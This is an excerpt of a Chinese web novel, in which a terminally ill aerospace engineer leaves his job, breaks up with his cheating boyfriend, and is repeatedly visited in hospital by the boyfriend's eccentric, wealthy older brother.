《病美人死后,前任他哥疯了》 1、第1章 办公室内,领导看着面前一纸离职申请和病情报告,面色凝重。 “小季,你考虑好了?单位这边会尽量提供人文关怀,为你安排后续治疗,你要不再……” 话音被一道温柔的男声打断,“谢谢领导,但不用麻烦了。” 桌前,男人穿着一身洁白干净的实验服,瘦削高挑。他微微笑着,五官温润,眉宇淡然,明明微眯着眼轻笑,却还是掩不住脸上苍白的病容。 “医生说,活不过三个月,再折腾也没什么意义。” 季南星将一沓文件累在桌上,声音放轻:“这些是r32项目推进器的资料,都是我闲着的时候琢磨的一些想法……我以后也帮不上什么忙,就劳您多费心了。” 季南星今年24岁,a大毕业后进入航天研究所工作。今年是他工作第4个年头,年底准备提拔转组,却没想到,比晋升报告先到的,是一份确诊癌症晚期的报告。 脑癌,晚期,他只剩下不足100天的寿命。 离开领导办公室,他回到工位上。 今天是实验验收日,组里干活的研究员都在实验室,只剩下几个家里有关系的二代,捧着保温杯站在茶水间聊天,见到季南星来,便揶揄地挤了挤眼睛。 “听说季工要离职了?怎么这么突然,好歹也是咱们组里的劳模,做pre写报告的一把手,您走了,我这以后论文找谁要去?” 另一个人适时附和道:“你懂什么,季工谈了男朋友,跨国集团的高层,以后是要当‘富太太’的,哪看得上我们这种单位……哎,要我说,我爸要是知道他当年的得意门生是个恶心的同性恋,怕不是得原地气进icu。” 这几位家里父母都是研究所的大前辈,季南星一个无父无母,靠国家公费项目才有学上的穷学生不敢得罪他们。 但人之将死,也没什么不好得罪的。 他将实验外套脱下,齐齐整整叠好,再缓缓解下工牌,放在桌上。 季南星生得白净,研究所统一的工服熨帖在他身上,衬出他精瘦的腰身和笔直修长的两条腿。他歪着头解着工牌,白嫩的脖颈伸长,像优雅的白天鹅,带着一股说不出的温润矜贵。 不远处两个人打量了一番,默契地收回眼神,喝了口水。 往常他们没少逮着组里没背景的人瞎蛐蛐。季南星脾气最好,只要不涉及工作上的事,私事八卦说什么他也淡淡的,实在说得过分了,他也只是微微一笑,没有反驳的时候。 可眼下,他撩了撩头发,露出光滑饱满的额头,温润的眉眼浅浅笑着,却带了股莫名的锐利。 “刘工。”他喊住其中一个人,“听说前段时间,有a大博士生举报您在xx期刊上的论文涉嫌剽窃。不巧,编辑部的人前两天联系我,询问过去四年您的论文是否存在学术不端的情况。” 那人脸色骤然一变,“季南星,你什么意思?” 季南星轻轻笑了笑,晃了晃手里的手机,道:“我只是配合调查,所有数据文件都发过去了。刘工,与其关心我的私事,不如先想想怎么跟你的副所长舅舅交代。” “嗤——真是会咬人的狗不叫。”另一个人不屑地笑道:“傍上大款就是不一样啊……你以为你那个男朋友是什么干净东西,辞了工作回去给他当小三小四?季工,你可真有出息。” “再没出息,也比秦少爷好。秦教授要是知道自己儿子去未成年酒吧喝得烂醉,被捡尸录了视频,勒索50w,不知道会不会原地气进icu。” 他歪了歪头,轻笑了下:“我记得,秦老师心脏似乎不太好。” 那人脸色顿时变得青白,身旁的学术造假哥眼睛瞪得比驴大,不可置信地看着身侧的朋友,几声压低声音的国粹冒出来,秦少爷的脸色顿时又青了一个度。 保温杯重重搁在桌上,秦少爷面色铁青,眼底的怒意像要喷出火来。 “你一个婊子生出来的东西,有什么资格在这给我叫嚣!” 他气冲冲正要过来,季南星神色淡淡,不远处传来一阵快步的脚步声。 不一会,办公室大门推开,一个高挑的身影踏步进来,两个气势汹汹的二代都蔫巴下去。 “徐、徐工……” 徐青扫了一圈闹事的人,“吵什么吵,又在闹什么?说好了两点半开会,你们两个还杵着做什么?缺勤记考核,明天一人交一份报告!” 两人顿时作鸟兽散。 季南星冷眼看着,没出声,继续收拾自己桌上的东西。 眼前落下一道黑影,季南星缓缓抬眼,淡淡道:“徐工有什么事吗?” “你真要走?”徐青迟疑了下,才说:“季工,你以前可不是这样的人。人生在世,一定要有自己的工作和事业傍身,就算你那个男朋友有钱,你也不能就这么放弃你自己……你们这种关系,本来就没有社会保障,你就为了一个男的,把自己的事业都辞了,你——” “徐工。”没等他说完,季南星打断他,“这是我的个人私事。” “可是……” 徐青似乎还想说些什么,但季南星动作利索,将物品一应打包好,转身离开了办公室。 出门时,方才批了离职申请的领导正着急着过来,跟离开的季南星打了个照面,身后的徐青没跟上,被领导拦住说了几句话。 季南星没理,抱着自己的东西往电梯口走。 电梯门将将合上时,缝隙里挤进一只手。 徐青阴魂不散地追过来:“是真的吗?”他气有些喘,声音也抖得厉害:“你的病……是真的吗?!” 徐青算季南星半个上司,两人相识多年,在办公室为项目方案吵得不可开交是常有的事。但平心而论,徐青跟他不和也只是工作上的不和。 对事不对人,季南星收敛了冷意,缓缓点头:“是真的。” * 辞完职,季南星来到华务集团的大楼。 他确实有个富二代男朋友。 许桓是华务集团文娱总监,也是北美老钱家族的二儿子,虽然不是继承人,但也是个trustfundbaby. 季南星对傍大款没什么兴趣。 他活不过三个月,许桓却还年轻,有大把的日子要过,没必要跟他一个将死之人耗着。 华务集团管理严格,没有预约不能约见,程序很严谨。 他给许桓拨了几通电话,都没接通。 季南星的身体大不如前,只是站着等这么一会,已经开始感到力不从心。 剧烈的刺痛感从头颅蔓延开,他站都站不稳,脸上煞白一片。 前台的女孩细心地搀了他一把,轻声道:“先生,您没事吧?秘书还没回复,您要不先到公共休息区歇一歇。” 季南星甩了甩头,勉强保持清醒,微笑道:“谢谢,休息区在哪儿?” 顺着女孩指的方向,季南星强撑着过去,脚步虚浮,好几次差点撞到人。 他头疼得厉害,胸口发堵,险些呼吸不上来,终于坚持到休息室门口,一推门,却迎面撞上一堵肉墙。 一个温热的、结实的胸膛。 头顶传来一声低哑的闷哼,季南星抬头,正对上一双漆黑深沉的眼睛。 来人一身深色的高定西装,宽肩窄腰,身形高挑,头发打理得一丝不苟,露出混血立体的五官,他眼窝很深,鼻梁直挺,一双泛着冷意的眼睛微垂着,眼角下塌,带着一股浓厚的上位者气息。 冷峻得挑不出一点瑕疵的一张脸,甚至有些眼熟。 季南星还愣着。 金属领带夹掉在地上,哐当一声。 他猛地回过神,一边说着抱歉,一边屈身想去捡,可甫一弯腰,又是天旋地转,剧烈的昏眩传来,他骤然呼吸一滞,右手下意识一抓,搭上一节刚劲结实的小臂。 “当心。” 眼前覆上一道黑影,男人俯身将季南星扶稳,漆黑深沉的眼睛一错不错地看着他,“你脸色不太好。” “……谢谢。” 季南星借力站稳,终于从昏眩里回过神来,“抱歉,是我没看路,最近头有点晕。您没事吧?” 见他站稳了,男人松开他,眼神却没有挪开,他微垂着眼,淡漠的脸上看不出情绪。 “陆总,会议要开始了。”对方身后助理模样的人提醒道。 “嗯。”男人应了声,声音冷淡,脚步没挪动。 季南星以为是自己挡了道,正要错身让位,前台的女孩便赶过来。 “季先生,许总助理现在实在不方便,您要不下次约好了时间再来?” 季南星有些失落,正要说些什么谢,身后却传来一道低沉微冷的男声。 “你要找许桓?” …… 十分钟后。 季南星成功见到许桓的助理,对方见到他时脸上明显闪过一丝慌乱。 “季先生!”助理惊呼着,又抬头看向季南星身侧的人,脸色已经不能用慌乱形容,看上去像见了鬼。 “陆、陆总……您怎么来了?”助理颤声道。 “许桓在哪。”被称为陆总的人言简意赅开口。 助理为难地额了几声,瞥向一旁的季南星,又抬头看向男人冷漠的神色,一咬牙,视死如归似的吐出一个地址。 季南星愣了愣:“他怎么会去这种地方?” 助理一张国字脸几乎皱巴成一个橘子,“许总……许总他、他……” 季南星不想为难打工人,朝他淡淡笑了笑,“没事,我不会告诉他是你透露的消息,谢谢你。” 离开了许桓办公室,季南星郑重朝这位不知名的热心陆总道谢。 “今天真是谢谢您,陆先生。” 热心陆总一路陪他下楼,送到大门口,目光瞥过他苍白的唇色,低声问:“你自己可以吗?” 季南星习惯性扬起一个浅笑,挂在苍白的脸色上,有些虚弱,“没事,我缓了一会就好,您就送到这吧。” “不客气。”陆总淡淡道,他朝身边人吩咐了什么,说:“司机送你过去。” 季南星狐疑地瞥了他两眼。 虽然有些眼熟,但确实从来没见过。 初次见面,这位陆先生是不是过于热心了。 他连连回拒:“不用不用,我自己过去就行。” 热心市民陆先生大概还想说什么,但他身后的助理又一次焦急地催促道:“陆总,会议已经开始了。” “您去忙吧,今天已经麻烦您许多了。”季南星客气道。 陆先生淡淡“嗯”了一声,临别前,又回身,认真地看了他一眼,说:“再见。” 季南星朝他笑了笑,礼貌道:“再见。” * 顺着助理给的地址,季南星来到许桓所在的酒吧。 酒吧内,光影昏暗。 人群在舞池中扭着身体摆动,重金属音乐伴着欢呼声刺破耳膜。 季南星艰难地逆着人流穿行,他一身简单的黑白穿搭,清秀精致的脸上没有一丝装饰,整个人干净清爽,在群魔乱舞的舞池里格外惹眼。 几个男人晃着酒杯,借着醉意在他腰侧擦过,“哟,新面孔,这么纯……我喜欢!” 很“纯”的季南星掀起眼皮瞥对方一眼,冷冷道:“滚。” “啧……还挺辣!” 刺鼻的酒精味顺着靠近的呼吸传来,季南星胃部一阵翻涌,绞痛和反胃感溢上来。 他拧着眉,强压着身上的不适拨开人群往里走。 他还是很难相信,许桓竟然会在这种地方。 他和许桓是高中同学。 更严谨来说,是高中时的难兄难友。 季南星出生在a市一个偏远小镇,有赌狗的爸,拉皮条的妈,一家子黄赌毒沾了俩。 家庭的特殊性,季南星毫无疑问成为高中的集体霸凌人选。许桓也同样,他是个私生子,家里境况好不了多少。 高中时,两个被霸凌的人顺理成章成了最好的朋友,相互取暖。 高考结束后,季南星鼓起勇气跟许桓告白。 那时许桓垂眼看了他一会,低声说:“对不起。” 大概是八月份,许桓的母亲走了,自杀。不久后,许桓也消失了,他那个缺席了16年的父亲终于姗姗来迟,把他领回了家。 两个月前,许桓回国。 时隔八年再见,他已经摇身一变成了北美老钱家族的二儿子,是华务跨国集团的文娱总监。 但他对季南星和以前并无不同,依然是记忆里那个腼腆的男生,温柔体贴却不过分粘人,给足了情绪价值,称得上是十佳模范男友。 可眼下,季南星穿过喧闹的舞池,来到包间门口,看着人群中间抱着陌生男孩拥吻的人影,怀疑自己从来没有认识过这个人。 包间内人声嘈杂。 “二少最近在哪忙着呢,两个月没见人,兄弟差点以为你又被你哥拽国外去了!” “瞎说什么呢,二少最近可收心了,正儿八经谈对象了明白不!” “哟!什么情况,我们纽约炮王还收心了,真假的?!” “滚蛋!” 喑哑低沉的嗓音响起,坐在卡座正中的人吐了个烟圈:“正经人,航天工程师,还见你们?那不是掉档次。” “二少现在好这口了,以前不都是什么网红嫩模小明星嘛。” “嘿,你别说,那新嫂子我见过,长得可不比之前那个小明星差!就是不知道这种学霸在床上……嘿嘿。” 哄笑声里,许桓扫了眼说话的人,众人立刻闭了嘴。 他就着怀中男孩递来的酒杯抿了一口,漫不经心道:“网红明星吃腻了,偶尔也换换口味。” …… 不堪入耳的讨论一字一句传来,季南星站在门外,听得清楚,看也看得清楚。 隔着包间里的烟雾,许桓熟悉的面容逐渐变得陌生。 尽管做好了心理准备,却没想到真相和事实比他想象中的还要难堪得多。 可笑的是,拿到确诊报告的那一刻,季南星竟然下意识担心,如果许桓知道他只能活三个月,会不会很难过。 眼下看来,确实是他多虑了。 少年时的挚友?相伴两个月的爱人? 华务集团的文娱总监……确实,演技极佳。 他呆呆站在门口,还拿不定该如何收拾这个不堪的局面,身后传来服务生的声音:“先生,可以借过一下吗?我是来送酒的。” 季南星推开门,给他让路。 “谢谢您。” “不客气。”他说。 清冷的声音响起,乌烟瘴气的包间瞬间静了下来。《 》 2、第2章 重金属音乐还在继续,但屋内却没发出一点儿声响。 季南星站在门口,平直的目光落在许桓身上。 一见他来,许桓马上将怀里的小男孩推开,语气慌乱:“南星,你怎么来了!” 季南星瞥了瞥他推开的男生,又看向他慌乱的眼睛,浅浅笑了笑,“给你打了不少电话,没打通,倒没想到你今天……这么忙。” 许桓支支吾吾,“我今天确实有事,南星我可以解释……我——” “不必了。”季南星打断他。 谎话连篇的许桓跟记忆中的少年没有一丝相同之处,再有什么解释,也不过是狡辩,他不想听。 今早确诊癌症晚期,下午又撞见男朋友出轨,他今天已经足够糟糕了。 一股剧烈的疲倦袭来,季南星强撑着精神,缓缓道:“大家都是成年人,不用解释那么多。你们继续玩,我就不打扰了。” 许桓马上追出来:“南星!南星!你听我解释,我们就是、就是随口说着……” 胳膊被许桓紧攥着,季南星看着他焦急的神色,只觉得疲惫。 他把胳膊从许桓手里抽出来:“许桓,我不是瞎子,也不是聋子。我玩得起,也分得清。我们毕竟认识这么多年,你曾经真的帮过我,我不想计较太多,好聚好散吧。” 许桓愣住,讶然道:“你、你全部都听到了?!” 季南星疲惫地看着他,没接话。 许桓见状,心里一下就慌了,“你听我解释!他们都是我在国外认识的,都是那些花天酒地的富二代,他们那个圈子就是这么说话的。你知道,我是个私生子,我要跟他们打交道才能在圈里生存……我不是那个意思,我真的就是一时上头,我喝了酒,我……” “许桓,把错误推到酒精头上,不是你的作风。好吧,至少不是从前的许桓会做的事。” 季南星往后退了半步,拉开距离:“既然不是一路人,彼此纠缠也没意思。本来我今天就是来说分手的,许桓,我们就这样吧,以后别再见了。” “我没有搂着他,是他自己靠上来的,我……”许桓急着辩解,话到一半突然卡住,瞳孔骤缩,不可置信道:“你要跟我分手?!” 季南星是来分手的,却没想到是这样的分手场景。 他自嘲笑了笑,“不分手,难道还陪着你玩少爷的情感游戏?那也太扯了。” 但许桓笑不出来,他目光沉沉地盯着季南星,胸口重重起伏,好像下一秒就要控制不住自己激荡的情绪。 “当初不是你先喜欢我的吗?!凭什么现在你跟我分手?!” 季南星看着他陌生的模样,只觉得荒谬:“我是喜欢过你,但是许桓,你扪心自问,今天的你跟8年前那个许桓还有一点相同的地方吗?” “你就是还喜欢我!” 许桓听不进别的,语气急切又霸道,“八年前喜欢,两个月前还喜欢,凭什么现在不喜欢了?我不允许!” 季南星都不知道许桓怎么变成现在这副德行。 “许桓,我已经说得很清楚了,你要是实在寂寞,里面那个小男孩还在等你,别在我这浪费功夫了。” 他大步流星离开,身后许桓还在不甘地怒吼:“季南星,你今天敢这么走了,我们就真的彻底没可能了!你别忘了当初是谁先说喜欢我的,你最好别后悔!” 有什么好后悔的。 死都要死了,许桓就算是今晚就找三个男的女的约p,也跟他没关系。 季南星没回家,他直接去了趟律所,原本还打算分一些遗产给许桓,现在也省了。他跟律师清点了下,刨除医疗费用,剩下的财产全数捐给山区女童教育。 之后两天,许桓跟永动机似的,孜孜不倦给他发消息。 一开始是长篇大论的解释,说爱他、说后悔,说以后再也不跟那群人来往,仿佛只要季南星回头,他就能立刻跪下来求婚。 后来见季南星不回复,又开始破口大骂,“季南星,你别以为你多了不起!我许桓要什么没有?你季南星算个什么东西?!我一时图新鲜罢了,你这种人,无趣、木讷,根本不知道怎么爱一个人,除了我根本没有人会看你一眼,没有会爱你!” 可到了晚上,又发来醉醺醺的语音,“季南星,我喝醉了,你能不能来接我,我好想你,我真的爱你,我不能过一天没有你的日子。” 语音最后,只剩下浓重的哭腔。 对此,季南星一一拉黑。 两天后,他入住了医院顶层的vip单人病房,医疗设施齐全,还有个大阳台,外面树林茂密,风景不错。 这天夜晚,他迷迷糊糊接到一个电话,说许桓在某某酒吧喝醉了,一直喊他的名字。 次日一早,季南星醒来头疼得厉害,昨晚那通电话扰人清梦,他一晚上没睡好。 他微微眯着眼,意识还没清晰,余光却瞥见床前似乎落下来几道浓重的黑影。 可他住院的消息谁也没告诉,这会能有什么访客? 季南星纳闷抬头,看清病房内的情况后,困意倦意全跑没了。 本该空荡的病房内不知道什么时候杵了好几个人,西装革履、人高马大的律师保镖一字排开,气势浩荡。 而人群最前面,站着个神色冷峻的、十分眼熟的男人。 “陆、陆先生?” 季南星愣愣坐起身。 来人神色淡漠,依旧是西装革履一丝不苟的装束,赫然就是那天在华务帮他引见许桓助理的热心市民“陆总”。 只是眼下,陆先生却不似前几天在华务见面时那么热心肠,眼神中反而带着莫名的打量和探究。 “季先生,又见面了。” 对方身后的助理先一步开口。 季南星摸不清眼下的状况,拉紧了被子,警惕道:“你好,有什么事吗?” 这一回,不等助理开口,热心市民陆总先一步道:“我是陆宴,许桓的哥哥。” 季南星刚醒的脑子终于艰难开始运作。 众所周知,许桓是北美富商陆志华的私生子。 但陆志华还有个正儿八经的儿子。 陆家经营的华务跨国集团,在全球金融、地产、货运等行业都牢牢掌握龙头地位。亚洲地区的业务几年前全数交给陆宴打理。短短几年,亚洲区的业务翻了几番,甚至开始进军娱乐行业。 尽管只比他们大了两岁,但陆宴的成绩时常让人怀疑,他跟同龄人活得不在一个次元。 所以,他那天撞见的热心市民……竟然好巧不巧,就是许桓的亲哥? 但他和许桓都分手了,前男友他哥找上门来,又是什么操作? 陆宴的诧异不比季南星少。 他来得不情不愿,但许桓失恋寻死觅活,发疯的电话打到陆志华那里,陆宴不得不出面收拾这个烂摊子。 一开始,陆宴以为许桓是栽在哪个小明星手里,却没想到不是模特,也不是明星,更不是什么名利场里的资深玩家。 是一个履历干净的工程师。 名校毕业,技术过硬,年纪轻轻就成果斐然,在专业领域拿过许多不俗的奖项。 知识分子,学术人……根本不符合许桓从前的择偶标准。 陆宴设想过很多可能,却没想到,许桓这个前男友,他见过。 病床上的人微微抬着眼,皮肤在灯光下呈现出近乎透明的冷白,五官精致,色泽偏淡的唇微微张着,浅棕色的瞳孔缩了缩,显出一丝惊讶和茫然。 很漂亮的一张脸。 和那天匆忙一瞥时同样,琥珀般的眼睛诧异地睁着,漂亮得让人挪不开眼。 他烦闷抿了抿唇。 这样的人,到底看上许桓什么? 目光掠过桌上的病历本,陆宴没忘记今天来的目的。 “这就是你和他分手的理由吗?” “什么?”季南星没反应过来。 “你生病了,怕他难过,所以跟他分手。” …… 季南星奇怪地瞥了陆宴一眼,没理解他的脑回路,“您想多了,我分手只是因为他不值得。” 陆宴几不可察地拧起眉,机械性地拿起手机,播放昨晚许桓的醉话。 手机里传来醉态的呓语,季南星一听许桓的声音就头疼。 “陆先生,这是我和你弟弟的个人私事,我没想到他会惊动家长。我和他分手说得很清楚,没有留下任何遗留问题,就算他现在抱电线杆结婚,也跟我没关系。” “他是人类,只是取向和审美异于常人,不会跟电线杆结婚。” 陆宴顿了顿,语气认真得几乎刻板,“还有,我不是家长,严格来说,我和你同龄。” 季南星对陆宴了解不多,但新闻天天播,狗仔娱乐一条接着一条,陆宴古怪的性格他也有所耳闻。 原以为是娱记捕风捉影,没想到现实比传闻还要古怪执拗。 季南星头疼地撑起身,有气无力道:“好吧同龄人,请问您今天来,还有什么事?” 陆宴淡淡垂眼,沉默了几秒。 他今天的目的很明确。 劝“这个前男友”好好接受治疗,努力活久一点,跟许桓复合,最好能跟许桓同居,把这个烂摊子带走。 可进来之前,他已经跟医生询问了季南星的治疗方案,季南星我行我素,并没有做积极治疗的打算。 “我可以送你去国外,接受最权威的医疗条件。”许久,他出声道。 季南星奇怪地看着他:“我们非亲非故,你为什么帮我?” 陆宴停顿了会,才不情愿地说:“许桓为了你寻死觅活,我需要你活下来,跟他复合。” ……哈? 季南星怀疑自己耳朵出了问题。 让绝症的病人活下来跟渣男符合,这还是人类能有的思维吗? “陆先生,我很感谢你那天在华务帮了我,不然我也不至于认清你弟弟的真面目。但一码归一码,我和许桓已经分手了,也不会再有什么联系。如果您是为了这个事情来的,很抱歉,您在我这里,得不到任何答案,请回吧。” 但陆宴还在说:“只要你想,华务可以负责全部治疗费用。” 季南星不想听,他软着身子懒懒躺进被窝,像只把自己团起来的猫。 “如果你不想出国,我可以为你安排转院,由国内最顶级的医生接诊。” 季南星耳朵动了动,却没回头。 “任何时候改变主意,都可以联系我。” 季南星拉开抽屉,摸索了半天,抽了个蒸汽眼罩,慢条斯理地戴上。 “我的承诺永远有效。” 盖上被子翻过身,季南星脑袋彻底埋进被子里。 陆宴盯着那个毛茸茸的发顶,沉默了半晌。 “晚安,我会再来。”《 》 3、第3章 吃了一次闭门羹,陆宴回去做足了功课。 助理呈上了季南星事无巨细的资料:五岁丧父,母亲从事风俗行业,十岁那年,曾因协助贩卖假酒差点进入少管所,因情节不严重,从宽处理。 与灰暗的童年相比,季南星中学时期的经历要稍微体面些。虽然打过不少架,但都没闹大。 这一时期季南星做过很多兼职,靠卖画补贴家用,没再沾染母亲的灰黄产业。他成绩不错,考上了全国顶尖的a大,报考了国家公费专业。因成绩优越,还额外拿到一笔奖学金。 大学以后,季南星的人生慢慢步入正轨,母亲从了良,他也以gpa第一的成绩毕业,顺遂进入航天研究所,成为一名普通的科研人员。 童年的幽暗经历似乎没有对他造成负面影响,他稳重、成熟,富有爱心。单位做做样子的公益活动,其他人兴致缺缺,只有他每周按时到场,在福利院当义工,每月腾出一笔钱定期捐给山区女童教育。 24岁,名校毕业,工作稳定,眼看日子终于好起来,一份确诊癌症的报告,突然从天而降,一切光亮、未来,戛然而止。 于助理工作多年,但查完资料,也不免惋惜。 “季先生……已经安排好自己的后事。住院的前一天,他付清了所有医疗费用,在滨海墓园购置了墓地,剩余的存款全数捐给山区教育事业。” “他的其他家人呢?”陆宴问。 于晨摇了摇头:“他父亲那边亲缘单薄,跟家族很早断了联系。母亲似乎有个姐姐……但很早之前已经患病去世,当下,没什么存世的亲人。” “季先生学生时期没什么朋友,大学一直在实习做科研,性格比较孤僻,毕业后也没听说有什么交情较深的朋友。真要说的话……可能只有二少爷,算是一个。” 前男友,那算什么朋友? 陆宴淡淡扫了助理一眼。 于晨哽了一下,补充道:“从我们查到的资料看,应该没什么人能劝得动他,季先生确实……无亲无故了。” 无亲无故,也没什么牵挂,难怪一点积极治疗的念想都没有。 资料里夹着一张季南星大学时的照片。 那时的季南星略显青涩,脸上挂着浅淡的笑,狭长的眼睛微微弯着,嘴唇水润殷红,白玉般的脸上挂着浅淡的笑意,像月光一样柔和。 和昨天陆宴见到的季南星很不一样。 昨天的季南星苍白、病弱,神色慵懒厌倦,眼帘半垂着,遮住茶色眼珠的明亮,像一轮蒙了尘的月,连光亮也黯淡了。 陆宴把照片取下来,突然想起那天在华务大门前,季南星临别前朝他露出的浅浅的笑。 手机屏幕上,跳出管家发来的消息:【少爷,二少爷又醉酒飙车出车祸了。】 配了几张车祸现场染血的图片,看着很严重。 几通急切的电话打过来,陆宴没打算接。 他翻开通讯录,在xx医院名单里找到记忆里的名字,拨了过去。 * 清早,季南星幽幽转醒,手机上明晃晃十几个未接电话,他原以为是许桓,眯着眼睛正想划走,仔细一看,却是个很少联系的名字。 媛山教育的负责人谢老师是个四十来岁的单身女士,一辈子待在大山里办女童教育,为人利落,如非必要不会和资助人联系。 季南星想了想,接起来:“喂,谢姐。” “小季!可算联系上你了!”谢老师着急道。 “抱歉,最近睡得沉,怎么了?” “今天一早,会里突然收到一笔100万的大额捐款,什么信息也没留。我心想这么大数额,还是仔细点的好,得问问对方要不要署名,以什么名义。没成想我电话打过去,对方说要署名,但是、但是……” 谢姐顿了顿,“但对方要署‘季南星’的名字。我心想你前段时间刚捐了十几万,琢磨着这事应该不大对劲,过来问问你。这笔钱我现在单独挪出来,没敢动,你要不先问问清楚,这到底怎么回事?” 谢姐发来对方的联系邮箱和私人电话。 季南星只看了一眼,就认出华务集团的邮箱后缀,猜测大概是许桓的手笔。 他一个要死的人担不起这么大的人情,他犹豫点开许桓的对话框,正想着要不要直接联系对方,病房的门推开了。 一天不见的陆大总裁推门进来,这回身后没再跟着那黑压压的保镖和律师,只跟了个带着金丝眼镜的助理。 季南星昨天没给陆宴好脸色看,今天倒像见到救星一样,眯着眼睛笑起来。 “陆先生!” 他三言两语把这事解释清楚,道:“这100万麻烦您转交给许桓,我和他现在的关系,再有什么联系,对彼此都不好。” 这个请求合情合理,但陆宴垂眼看了他一会,平静的脸上突然出现奇怪的神色。 “你为什么觉得是许桓?” 季南星被他问得一懵:“华务的邮箱,不是许桓是谁?” 陆宴走到他床边,拉开床头抽屉,拿出昨天留给季南星的私人名片。 季南星一头雾水地接过,陆宴的私人名片设计简单,集团、职务、私人联系方式……等等,这个电话和邮箱?? 他猛地抬头,看见陆宴面无表情的脸:“是我。” “你?”季南星脑子还没转过来。 “是我。”陆宴肯定地点头,又看向季南星:“怎么,不可以吗?” “额……倒也,可以。”季南星顿了顿,又快速道:“但您可以用自己的名义捐款,没必要挂在我名下。” 陆宴很认真地点头,“谢谢提醒,以后会的。” 季南星摸不准他这是什么意思,斟酌道:“那我把款转还给您,您再……自己捐一次?” “不用。”陆宴轻轻摇头:“我很有钱。” “……好的。” 有钱的陆大总裁扫了季南星一眼,“你今天精神不错。” 季南星眼皮一跳,有不好的预感,果不其然,下一秒听见陆宴缓缓道:“考虑得怎么样,今天改变主意了吗?” 他的语气没有任何起伏,脸上也没有一丝表情,看上去像一个设定了程序的、没有丝毫感情的机器人。 救一个注定要死的人,让他跟一个渣男复合,正常人类都想不出这种想法。 但陆宴想到了,并且执行得很认真。 这脑回路,怎么想怎么诡异。 季南星头疼地拧起眉,努力保持和缓的语气:“陆总,虽然我知道你没有恶意。但是劝一个快死的人跟他的渣男前男友复合,您不觉得这是一件很缺德的事情吗?” 陆宴认真思考了会,说:“有点。” 季南星继续说:“恕我冒昧,如果您因为许桓的事困扰,您不觉得您应该去解决的是许桓,而不是我吗?” “也有道理。” 季南星欣慰地舒了口气:“太好了,既然达成共识,希望以后您不要再因为许桓来打扰我,感激不尽。” 陆宴似乎听进去了,静静看了他一会,而后说:“我尝试过解决许桓,也跟他说了你不爱他。” “嗯……?” 陆宴淡淡看了他一眼,“但他放不下你,也不能接受。昨天晚上,他喝了很多酒,头晕发烧胃出血,醉酒在高速上飙车出了车祸。” 季南星沉默了会,出于人道主义接了句:“好的,节哀。” “没死,只是重伤。” “……那你弟弟都伤成那样了,你不去看他,怎么到我这儿来了呢?” 陆宴低头瞥了他一眼,像是在责怪他没常识:“我不是医生,过去有什么用。” “哈哈。”季南星尴尬不失礼貌地笑着,几乎咬着牙说:“那您不是医生,到我这里来又是做什么呢,哈哈、哈。” “有的。”陆宴很认真地点了点头,“我请医生草拟了一份医疗计划书,比你现行的治疗计划更有效,希望你可以认真考虑。” 季南星看着递过来的文件,脑袋有三辆卡车那么大。 如果不是陆宴黑亮黑亮的眼珠子写满了真诚,实打实没有一丝恶意,季南星甚至要怀疑这人是不是故意在整他。 他深呼吸了两下,用最大的理智保持客气道: “恕我直言,陆总,都说你们这种霸总时间比金钱珍贵,你在我这多耗一分钟,外面什么什么股市就蒸发几个亿,你不上班吗?你不赚钱吗?” “没那么少。”陆宴很快纠正他。 “……” “没那么少,那你还来做什么?” 陆宴沉吟了会,黑亮的眼睛望过来,认真道:“救你,在科学允许的条件下。” 季南星快被气笑了。 他大概知道陆宴手头的医疗方案长什么样,不外乎是多遭些罪,多活几个月。但归根到底都是死,多疼几个月,对季南星来说没有任何意义。 “陆先生,我跟你无亲无故,无恩无仇,你平白无故放着几百亿的生意不管,天天琢磨着让我多遭罪多活几天,好跟你的渣男弟弟复合,您不觉得这很冒犯吗?!” 陆宴神色一动,像是认真反思了两秒:“我打扰你了吗?” 季南星用尽全身力气点头:“不然呢!” 陆宴盯着他因为愠怒而薄红的脸,沉默了会,而后说:“我以后注意。” 还以后?! 季南星头脑发蒙,气得连眼睛都蒙了一层雾。 “如果你是为了许桓,我可以很明确地告诉你,你在我这里得不到任何结果。更何况,我人都要死了,你帮你弟追一个只能活三个月的前男友,你不觉得可笑吗?” 他气呼呼地一口气说完,却听见陆宴低声说: “不是。” “什么?”季南星愣了下。 陆宴抬眼看向他,缓缓道:“不是因为许桓。” 陆宴脸上浮现一种无法形容的神色。 他骨相立体,眉眼深邃,大部分时候都给人一股难以忽视的冷漠和疏离。但现在,他脸上冷硬的壳子似乎一下子碎了。 漆黑的瞳仁深不见底,陆宴往常淡漠的脸上,竟浮现出一种奇怪的……疑惑? “我很好奇。” 他缓缓抬眼,看向季南星怔愣的脸。 “我了解许桓。他不是个好人。” “我给他收拾过很多烂摊子。你很优秀,比世界上大部分人都优秀。除了长相,你跟他以往任何一个男朋友没有任何相同之处。” “但他对你的感情很特殊,你们分开后,他很难过,也很颓废,他看上去可以为你去死。” 他顿了顿,声音低了些,带着点不易察觉的迷茫。 “我不能理解,一个人的感情可以为了另一个人的存在变得浓烈,为什么?”《 》 4、第4章 为什么? 季南星也很想问为什么,母单25年好不容易谈了个对象,结果对象是个渣的,对象他哥也是个疯的。 一家子疯得各有千秋,癫出水平,疯出精彩,精神病院的资深患者看了都得啧啧称奇,拍手叫好。 他深深吐了口气,“陆总,这边建议您到四楼挂个号,这个医院的精神科很出名,全国top3,应该对你非常有帮助。” 陆宴认可地“嗯”了声,看向他的目光多了几分赏识。 “华务是这家医院最大的股东,你很有眼光。” 季南星:……? * 陆宴确实说到做到。 为了让他活得更久,季南星下楼遛个弯的时间,病房里已经大变样。屋里的各类用品都换上最高规格的品质,乍得一看以为是某星级酒店的总统套房。 季南星不愿意转院挪窝,他不动,医生可以动。于是在他住院的第三天,连医疗团队也跟着大换血。 但尽管是最权威的医疗资源加持,季南星的病情依然急转直下。 清晨醒来,他还没来得及坐起身,胃里就翻江倒海。 他趴在床边干呕,脸色白得像张纸,连带眼尾都泛着生理性的红。四肢发着软,他虚虚想坐起身,抬手一抓,却握住一只骨节分明的手掌。 “怎么咳得这么厉害?” 陆宴不知道什么时候过来,握着他的手,眉峰蹙起。 见是他来,季南星下意识想推拒,但四肢使不上力气,最终推拒不成,反倒整个人半个身子挂在陆宴身上。 他眼尾挂着薄红,眼睫轻颤,艰难地抬眼,“你怎么又来了?” 一周过去,陆宴像个定点刷新的npc,每天雷打不动来病房报道,一日不落。 季南星不是没劝过,但陆大总裁的脑回路异于常人,根本劝不动。 他不动声色从陆宴怀里抽身,用气声说笑道:“陆总,您天天这么翘班,公司还赚钱吗?” 陆宴把他扶到床上躺好,语气听不出起伏:“我们会雇佣职业经理人。理论上来说,我可以每天都不上班。” 